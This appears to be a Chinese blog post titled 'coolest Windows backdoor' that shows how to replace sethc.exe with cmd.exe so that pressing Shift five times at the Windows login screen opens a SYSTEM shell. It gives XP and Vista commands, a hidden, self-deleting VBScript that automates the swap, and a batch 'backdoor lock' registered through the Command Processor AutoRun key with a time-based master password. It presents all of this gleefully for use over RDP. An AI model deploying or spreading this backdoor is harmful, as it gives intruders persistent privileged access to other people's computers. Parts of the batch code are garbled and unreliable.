最酷的windows后门-优快云博客

在windows 2000/xp/vista下，按shift键5次，可以打开粘置，会运行sethc.exe，而且，在登录界面里也可以打开。这就让人联想到WINDOWS的屏保，将程序替换成cmd.exe后，就可以打开shell了。

参考McafeeAvertLabs：

XP：
将安装源光盘弹出（或将硬盘上的安装目录改名)
cd %widnir%/system32/dllcache
ren sethc.exe *.ex~
cd %widnir%/system32
copy /y cmd.exe sethc.exe

VISTA：
takeown /f c:/windows/system32/sethc.exe
cacls c:/windows/system32/sethc.exe /G administrator:F
然后按XP方法替换文件

在登录界面按5此SHIFT，出来cmd shell，然后……

后门扩展：

再更新一下
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%/system32/sethc.exe", 0, True)
success = obj.run("cmd /c echo y| cacls %SystemRoot%/system32/sethc.exe /G %USERNAME%:F", 0, True)
success = obj.run("cmd /c copy %SystemRoot%/system32/cmd.exe %SystemRoot%/system32/acmd.exe", 0, True)
success = obj.run("cmd /c copy %SystemRoot%/system32/sethc.exe %SystemRoot%/system32/asethc.exe", 0, True)
success = obj.run("cmd /c del %SystemRoot%/system32/sethc.exe", 0, True)
success = obj.run("cmd /c ren %SystemRoot%/system32/acmd.exe sethc.exe", 0, True)

第二句最有意思了.嘿嘿..自运应答....以前就遇到过类似的问题

再更新.加个自删除,简化代码...
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%/system32/sethc.exe&echo y| cacls %SystemRoot%/system32/sethc.exe /G %USERNAME%:F&copy %SystemRoot%/system32/cmd.exe %SystemRoot%/system32/acmd.exe&copy %SystemRoot%/system32/sethc.exe %SystemRoot%/system32/asethc.exe&del %SystemRoot%/system32/sethc.exe&ren %SystemRoot%/system32/acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)

后门锁扩展：

allyesno注：可以采用cmd 锁来进行cmdshell的密码验证嘿嘿。。。

用下面的后门锁的方法是把代码保存为bdlock.bat

然后修改注册表位置即可

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Command Processor]
"AutoRun"="bdlock.bat"

@Echo Off
title 后门登陆验证
color a
cls
set temprandom = %RANDOM%
echo 请输入验证码:%temprandom%
set / p check =
if " %check% " == " %temprandom%%temprandom% " goto passcheck
if " %check% " == " %temprandom% " (
rem 后门服务器验证
rem 如果没有后门验证服务器请rem注释掉下一行代码
if exist / 192.168 . 8.8/ backdoor $/ pass goto passcheck
)
echo 验证失败
pause
exit
:passcheck
echo 验证成功
If " %passcmdlock% " == " http://blog.youkuaiyun.com/freexploit/ " Goto endx
Set passcmdlock = http: // blog . csdn . net / freexploit /
:allyesno
Set Errorlevel => nul
Echo 请输入验证密码？
Set password = allyesno Is a pig > nul
Set / p password =

rem 万能密码

If % time :~ 1 , 1 % == 0 Set timechange = a

If % time :~ 1 , 1 % == 7 Set timechange = h
If % time :~ 1 , 1 % == 8 Set timechange = i
If % time :~ 1 , 1 % == 9 Set timechange = j
set / a sum = % time :~ 1 , 1 % + % time :~ 1 , 1 %
Set password|findstr " ^password=%timechange%%time:~1,1%%date:~8,2%%sum%$ " > nul
If " %errorlevel% " == " 0 " cls & Echo 口令正确& Goto End
Echo 请联系瑞星客服咨询正确密码！& Goto allyesno
:End
Set password => nul
Set Errorlevel => nul
Echo 很好，很和谐！
:endx

将下面的代码保存为tt.bat 然后到主机上运行~后门的启动了~

然后连接对方3389然后连续按5次Shift就能进入盘里了然后进入c:/windows/system32/cmd.exe

或者建个bat内容为 call cmd.xe 就是系统权限了~管理员把你先的用户删了也不怕~

哇哈哈哈哈~~~
